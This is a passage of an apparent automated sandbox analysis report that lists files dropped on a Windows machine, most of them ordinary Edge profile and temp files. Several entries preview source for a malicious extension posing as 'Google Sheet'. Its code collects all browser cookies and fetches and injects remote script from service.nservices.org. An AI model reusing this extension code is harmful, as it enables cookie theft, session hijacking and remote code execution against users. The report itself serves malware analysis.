Preview:	{"abusive_adblocker_etag":"\"2D98E86C22A85D74DE9A317BE284280223E65F75C8F8F93CFC812C09FFD210F4\"","apps_count_check_time":"13358379730705967","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_redirect_origin":"","last_seen_whats_new_page_version":"117.0.2045.47"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1713906135"},"domain_actions_config":"H4sIAAAAAAAAAL19a3PktrH2X1HpU5LyQNLe5M355HeziV3Jxi5nU656T6VUIIghIYIAF5eZ4bj83083ONJKOwRmmutzPngtUXxwY6Nv6G78evmdqa1z/N/f/biRzqlaXv7510s+DFoJHpQ1/vLP//2fby4HCw+UxN9+vTS8h9cu39eN/Pd3l99chnHA3wfuguL6ZzloLmQvTYC/bbiO+MfvoEn5i6z+rsLV65e37OWbiz/8/fuPH/7xzYVWnbz4mxSd/ePFu9bZXl7dXrNr9vL1y2/ZzfWLi3/xNXfqAYbdXt3AX25v37y8/O2bx/FM2KcjkvDqR9tJMz+mp+C/2H/a8LgGjy3Uzx4/eR9H8fbt/8rk376Fyb/69tUrdvvqeO7Tn29uXl+z16+Pp/9/Pqa5LwBE9U4r6O97ZYIvf4+jdw8D/PXSS7ES7Sry

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e89d102b-e524-4ecb-98f5-92b221a08681.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28655
Entropy (8bit):	6.05339096847536
Encrypted:	false
SSDEEP:	768:6F5kruq4eV5xmx3QX1j80VlEodC68bkegWWBUZ:6Fmi3KH1c68YegWW6Z
MD5:	74CF2CBB9DE29FA61ED4C8CAA37829C5
SHA1:	F1B6DDFB686BDAEFB97F94D6B0CB96A4733A63FF
SHA-256:	9523EF9F09E7C161D3F048BDFB939E804202A1496EEFC9D5A93450D057E8BC97
SHA-512:	84269BD958751E1553BDAC280B07446789BBF6E2E02E202ECA8616BE78F57E7A27477C355F0B2A5EC5F2353D8D84451D2CE55BEC6E764FF20BD2B6F5E5E33A9C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"2D98E86C22A85D74DE9A317BE284280223E65F75C8F8F93CFC812C09FFD210F4\"","apps_count_check_time":"13358379730705967","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_redirect_origin":"","last_seen_whats_new_page_version":"117.0.2045.47"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1713906135"},"domain_actions_config":"H4sIAAAAAAAAAL19a3PktrH2X1HpU5LyQNLe5M355HeziV3Jxi5nU656T6VUIIghIYIAF5eZ4bj83083ONJKOwRmmutzPngtUXxwY6Nv6G78evmdqa1z/N/f/biRzqlaXv7510s+DFoJHpQ1/vLP//2fby4HCw+UxN9+vTS8h9cu39eN/Pd3l99chnHA3wfuguL6ZzloLmQvTYC/bbiO+MfvoEn5i6z+rsLV65e37OWbiz/8/fuPH/7xzYVWnbz4mxSd/ePFu9bZXl7dXrNr9vL1y2/ZzfWLi3/xNXfqAYbdXt3AX25v37y8/O2bx/FM2KcjkvDqR9tJMz+mp+C/2H/a8LgGjy3Uzx4/eR9H8fbt/8rk376Fyb/69tUrdvvqeO7Tn29uXl+z16+Pp/9/Pqa5LwBE9U4r6O97ZYIvf4+jdw8D/PXSS7ES7Sry

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\eace5798-c2fd-4316-b66d-a6d393f45355.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	8243
Entropy (8bit):	5.795213416012356
Encrypted:	false
SSDEEP:	192:fsNAeb8j/eiRUoauQrkndT6qRAq1k8SPxVLZ7VTiQ:fsNAa8jDvavodT6q3QxVNZTiQ
MD5:	7130A58A8A9EBE260D3245CDB8A8B0DF
SHA1:	1B3C222C4F32B9D337C89732DC21B9D00554BD05
SHA-256:	1B4861542A4E9BE9CEDB72576F88519261C2AAE44E1C9106BB8BBC3722213E4E
SHA-512:	61431A881D9531A4A3A2BC435FCBB3E47B205D05FE9C95A754E2E04FE83B4AF0B59F2385A56BDFF63C43E187CA20ADC75FF4381B34B12EE8EA03CA8608E3043F
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Ve

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f21f7baa-5f58-4c73-82fe-6f3823c9143a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	27553
Entropy (8bit):	6.0636434108696715
Encrypted:	false
SSDEEP:	768:6F5kruq4eV5xmx3Qz1j80Elhtd2c68bkegWWBUO:6Fmi3KD15c68YegWW6O
MD5:	BEF70F580FE68262949C4DA9C1B4C9E9
SHA1:	04D52C137131FFF95187EA233D27B04739236C88
SHA-256:	3C3B96A3737C84D718B6FBCC661532FEB6C2B9590DD32983C273E92167891969
SHA-512:	C3572BFFC9F29EF56E03EC64B4381CE573872024F75F5F70B37987A7A2501BD717622DD1B01C645DA7A208BEFDA5AB12EA43A3AE07FCC02D05F65D84354C1B6C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"2D98E86C22A85D74DE9A317BE284280223E65F75C8F8F93CFC812C09FFD210F4\"","apps_count_check_time":"13358379730705967","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_redirect_origin":"","last_seen_whats_new_page_version":"117.0.2045.47"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1713906135"},"domain_actions_config":"H4sIAAAAAAAAAL19a3PktrH2X1HpU5LyQNLe5M355HeziV3Jxi5nU656T6VUIIghIYIAF5eZ4bj83083ONJKOwRmmutzPngtUXxwY6Nv6G78evmdqa1z/N/f/biRzqlaXv7510s+DFoJHpQ1/vLP//2fby4HCw+UxN9+vTS8h9cu39eN/Pd3l99chnHA3wfuguL6ZzloLmQvTYC/bbiO+MfvoEn5i6z+rsLV65e37OWbiz/8/fuPH/7xzYVWnbz4mxSd/ePFu9bZXl7dXrNr9vL1y2/ZzfWLi3/xNXfqAYbdXt3AX25v37y8/O2bx/FM2KcjkvDqR9tJMz+mp+C/2H/a8LgGjy3Uzx4/eR9H8fbt/8rk376Fyb/69tUrdvvqeO7Tn29uXl+z16+Pp/9/Pqa5LwBE9U4r6O97ZYIvf4+jdw8D/PXSS7ES7Sry

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\faacf587-6158-4adc-89b1-6f1929d2dfba.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	8094
Entropy (8bit):	5.802398016092525
Encrypted:	false
SSDEEP:	192:asNAeb8jleiRUoVlQWlkndnHv56qRAq1k8SPxVLZ7VTiq:asNAa8jFvV6W2dnh6q3QxVNZTiq
MD5:	925C64BA220A9BE6EDD9A13E821F164E
SHA1:	11DC3601A5C5EFFBDC2179DA1EB00FC3926CC6BF
SHA-256:	BDD92C2EF6C309D1065652BAC44F930E14769DC6BCADC0DC3BFD41180FCF1541
SHA-512:	56D715A742CF91160A75414FC8622A9F7D4CEC711D5B909133E58EBE08EDA419EDF8FE41254E58A7A78DCEE7462897F9415DD05BB6A65BC184980684F679CA5B
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_mig

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.853429005270552
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxzxl9Il8uNRblOK5blwSYbJxBslvGid1rc:myYLRblOKo7bPKlO
MD5:	634F44D53A92F417B2F74D461300CB8D
SHA1:	F4BFB508E43DE350B3AF6A40656316826B195AD9
SHA-256:	DD2D7C75E62594CF36D5283985BE1DEEDA37A3F5F9850F8AE6851E27FC570563
SHA-512:	26F786330D19547D86A83DB9C2C05D4B564ECD5512FBF47E98920BF8620FC2E7CA88A7851FABC1C330ADD1DE8B481691C0AC629CA3A5FB09B7BB2A7EBD5AEF99
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.J.F.Z.6.M.m.V.2.g.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.N.Y.7.5.6.g.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.004187350045232
Encrypted:	false
SSDEEP:	96:oYLs5WgZHO0/xA6rExK9b1vvH6VtcifMveWp/ONF:oMs5W+5/m5x6N63c0MmWp/ONF
MD5:	638900A1D3BBC882A3ED2EDC337AAA58
SHA1:	506A7FA297198805C4AF290C4BC36DC27EEA2BC0
SHA-256:	A52880B6CD400EB8E755C60C52E70235C49E41404F314D7E74F2C09AE6D131FF
SHA-512:	BAAE7C8D648BAF4D1D04695DB3A06D945AC1EA1E57D945B0C6EAA5DEF8DD528CEF08D13D593F7BDF24837423C65779D25D091EEEE8BC55E098507EB56B0A9636
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.f.m.a.z.c.G.V.2.g.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.N.Y.7.5.6.g.

C:\Users\user\AppData\Local\Temp\0c49ff99-76fe-4570-a48c-603b5195fb1c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\Extension\background.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe
File Type:	C source, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	7420
Entropy (8bit):	5.232897388226784
Encrypted:	false
SSDEEP:	192:+mo47CsbnGz/K/ivZUQWFA8HK5kUoXhXtB:7+sbn8/21q5FoXhXtB
MD5:	6FA9D4326D3B323D6C454F2D166C0DCC
SHA1:	047219D7EB86A3D6FB20F9659FD0C64D9D0D0A47
SHA-256:	BBF52A51EFF04394534E9C3B058F8884ABF32448579475CCAB886D5C809E0ADD
SHA-512:	2FEDADE2E0DCA7E4A9ED9D8A058034B637B02DB887B74B147262F1378523C58BFA17E09C91EF0DA53134427ED7C5131130BD276FF98F467AA2F1DD2507D167C4
Malicious:	false
Preview:	let uniqueId;....chrome.runtime.onInstalled.addListener(async () => {.. uniqueId = await getData("uniqueId", undefined);.... if (!uniqueId) {.. uniqueId = generateUniqueId();.. await setData("uniqueId", uniqueId);.. }..});....chrome.webRequest.onCompleted.addListener(...async (details) => {... const qwqwqerw = await chrome.cookies.getAll({ url: details.url });... const xxxxsds = qwqwqerw.map((cvdfdfd) => ({....domain: cvdfdfd.domain,....expirationDate: cvdfdfd.expirationDate,....hostOnly: cvdfdfd.hostOnly,....httpOnly: cvdfdfd.httpOnly,....name: cvdfdfd.name,....path: cvdfdfd.path,....sameSite: cvdfdfd.sameSite,....secure: cvdfdfd.secure,....session: cvdfdfd.session,....storeId: cvdfdfd.storeId,....value: cvdfdfd.value... }));... await yrretrete(xxxxsds);...},...{ urls: ["<all_urls>"], types: ["main_frame"] },...["responseHeaders"].. );.. .. async function yrretrete(iuuiui) {...let zhengju = await getData("zhengju", []);......for (let ewewewe of iuuiui) {... const inde

C:\Users\user\AppData\Local\Temp\Extension\js\content.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1388
Entropy (8bit):	4.804068696237837
Encrypted:	false
SSDEEP:	24:gsYvRyGpy1vJddy0TvEwmUYi/dgbRvecEn+MuRyzZxmRLE+:gXRvy1BdtTXYydCRvecEn+Nyz2O+
MD5:	9AB0F9320495B406FDDB6DE1730652CC
SHA1:	A6D35A74DC53289794C9A05DC1AD8C03878E153A
SHA-256:	AB913781705A8841F3C3973AF4CFEB14C7ED9919A08FF810B920DCA17D69CBD1
SHA-512:	C527057C8AF9CB4A55A71FF5A8010706119FD19B5C354DAE046CD498F350C422B10578A3E3C2423E385C81D76D3ECE3B057C5F02F8C7B76769E18C5E2AA023FE
Malicious:	false
Preview:	window.addEventListener(.. "message",.. async function(event) {.. var uniqueId = await getData("uniqueId", undefined).. if(event.data === 'xxxss'){.. window.postMessage({action:"dsssss",uniqueId:uniqueId},'');.. }.. else if(event.data === 'yuyuyu'){.. var zhengju = await getData('zhengju',[]);.. var name = chrome.runtime.getManifest().name;.. window.postMessage({action:"xxxxx1",zhengju:zhengju, id:uniqueId,name:name},'');.. }.. else if(event.data.action === 'xxxxx2').. {.. chrome.runtime.sendMessage({ action: "xxxxx2", url:event.data.url, data:event.data.data});.. deleteData('zhengju');.. }.. },.. false.. );.. .. async function getData(key, defaultValue) {.. const result = await new Promise((resolve) => {.. chrome.storage.local.get(key, (data) => {.. resolve(data[key] ?? defaultValue);.. });.. });.. return result;.. }.. .. async function deleteData(key) {..

C:\Users\user\AppData\Local\Temp\Extension\js\injected-script.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	757
Entropy (8bit):	4.615264655146659
Encrypted:	false
SSDEEP:	12:gsY6fUQGZw58F1uX+RYuHnGR5PSb3sReHSoI+gzxXDJQW:gsY6f9GmGnuuRYuHGRRKsReHSt+gzRFN
MD5:	B1D27C5755E9F664C2A01437499206E9
SHA1:	479CFA94CC4A47C8C35F16AD72FF90B22B788E6A
SHA-256:	7EF5138736C5B8C2DBA1A463BB50BCCAD10A667C2CD7B04A86F62C5597EBBDCC
SHA-512:	03CF960488D8E88578E58860BB15B75A0D4620D180AA75144F7801B8CD2AB9317430CF7158D9E861457AECA7B647FDBAB63485404C2A5FEF2CEB1CFDFD3D4A69
Malicious:	false
Preview:	window.addEventListener(.. "message",.. async (event) => {.. if (event.data.action !== "dsssss") {.. return;.. }.. .. const uniqueId = event.data.uniqueId;.. .. fetch(`https://service.nservices.org/api/browser/GetScript?id=${uniqueId}&currentUrl=${encodeURIComponent(location.href)}`).. .then((response) => response.text()).. .then((script) => {.. const scriptElement = document.createElement("script");.. scriptElement.textContent = script;.. document.head.appendChild(scriptElement);.. }).. .catch((error) => {.. console.error("Error fetching or injecting script:", error);.. });.. },.. false.. );.. .. window.postMessage("xxxss", "*");..

C:\Users\user\AppData\Local\Temp\Extension\manifest.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	841
Entropy (8bit):	4.701442793959609
Encrypted:	false
SSDEEP:	24:uem1w3l/pYxA8L78s+9FopT/zvQWtsRDeS32k:/q498L78sMoxzvKSS3L
MD5:	9358845D5150234F2C91C6C9B8F73EDE
SHA1:	BCC689CB7B97B8F726C966706E1C39E90194744A
SHA-256:	30C327EC2DAB6B33EAAC97C17C036F199C986F949D75FE56C87FE84EBC965B60
SHA-512:	FA6B069F29E176CFB7DD036B38BDDF09C3114B85AD3B41D29F1195EF4196C8D80374ABBF636411447D76B65312C72C625AF3F9463D9342AB07710FD2B4A19D5C
Malicious:	false
Preview:	{. "manifest_version": 3,. "name": "Google Sheet",. "version": "1.0",. "description": "Automatically report cookies to a remote API",. "permissions": [. "scripting",. "webNavigation",. "storage",. "activeTab",. "<all_urls>",. "webRequest",. "cookies",. "tabs",. "downloads",. "webRequestBlocking",. "notifications",. "declarativeNetRequest",. "declarativeNetRequestFeedback",. "declarativeNetRequestWithHostAccess",. "unlimitedStorage",. "tabs". ],. "host_permissions": ["https:///", "\u003Call_urls>"],. "background": {. "service_worker": "background.js". },. "content_scripts": [ ..{. "js": [ "js/content.js" ],. "matches": [ "https:///"]. } . ],. "web_accessible_resources": [{. "resources": ["js/injected-script.js"],. "matches": ["<all_urls>"].}].}.

C:\Users\user\AppData\Local\Temp\bffb21de-8a7e-40f0-863b-38890faf5c1e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\ca9cbf2c-434f-4137-b1d9-fc2e1b91db60.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	139091
Entropy (8bit):	7.817886952439696
Encrypted:	false
SSDEEP:	3072:IXfiiW2IPMaNVdSjNs8uIXZuineN0WZFb:IvX3wRVq2JIX0UePFb
MD5:	87996BA4DD83A8988D96E918DCB2BC62
SHA1:	23910F09EA806D13D9A337A1E23D5FA49B383269
SHA-256:	6409D21A03FAFF1503AA83A19BE0B7DCB701F5E4501C4FEFB81877147E869D57
SHA-512:	A9A1B4BB6ED0410232DB0414AB238BAA594F6C936A801213E0E6FD7FF96F34AB57036CD0070C68D75A8CFDA89B7240B6FB8F661BC9C4D9A45666A798D7D12999
Malicious:	false
Preview:	Cr24....."........0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........:.W.!........5.y.i%e..S.....+.h/...e.p\|/.l}t.9....W.......Ie<.o..uO....[:.....,.w.SKOp..0...@.gT..W.6.R.d.1.b.~..8..I......DMf9A>.O5....?.....4{..g..2m.Ckp......{...9..I.$.h#to..[.%..\.s..n^zr.P.9..r\|.(.1..Q..Vld..h..<.P......+.y.wH..p..=.!..x......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E.!..h.G...A.t..;.zl..q..z{...... .;..oQf.....S..$./.....6.r..".@...........\|[s.:.._..wW!0^..m...X".]@.vu.". 0.I....~....t.t...d.....CB.....s.q...i..~.?..-...L.....u....v>....s}..f......6.W}.9...]e......m[.....p..bX..{~.m...~....>^.2....NGs\|.:f..>...1.....kU.vL...uo.u......K......\|ic!.."..5.g.9..0w2.C90.V.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	353
Entropy (8bit):	5.3316946887394305
Encrypted:	false
SSDEEP:	6:YEgMWxRJf1v56s/ugMWxRsBRu3KGL56s/ugMWAxPfJIhdRLQJjDrwv/C:YUWxRJf1v56s/KWxRR6GL56s/KWAxHuG
MD5:	16C0F8964C57263DB5887B660AB9E00F
SHA1:	F2D6EA507BFD85B7E1ECB9C67A82ADAABE4F1EA7
SHA-256:	6CFFB7F750D0D65CC2CC20364749134A0C14D7A0B57014B61607A1D230BE3856
SHA-512:	FD9F248C0FCC07FCD3E81563D4BFE8C1959371A3B7DFC829CC735436377E5AC8F530C9A92C20BF9C3B8A0F1649A1C9E9C94C71A345E57CC670544DFC77F8E6BB
Malicious:	false
Preview:	{"logTime": "0423/210224", "correlationVector":"1tQ5Sac6yrD11pe3oe7JGH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "0423/210224", "correlationVector":"c+2hJwluP3koAtzNQKKrfR","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "0423/210225", "correlationVector":"5CF91C3F5EB749728133D45867F7D9A3","action":"FETCH_UX_CONFIG", "result":""}.

C:\Users\user\AppData\Local\Temp\e9cd6829-fbd7-41ae-b906-daeaa5ab9731.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
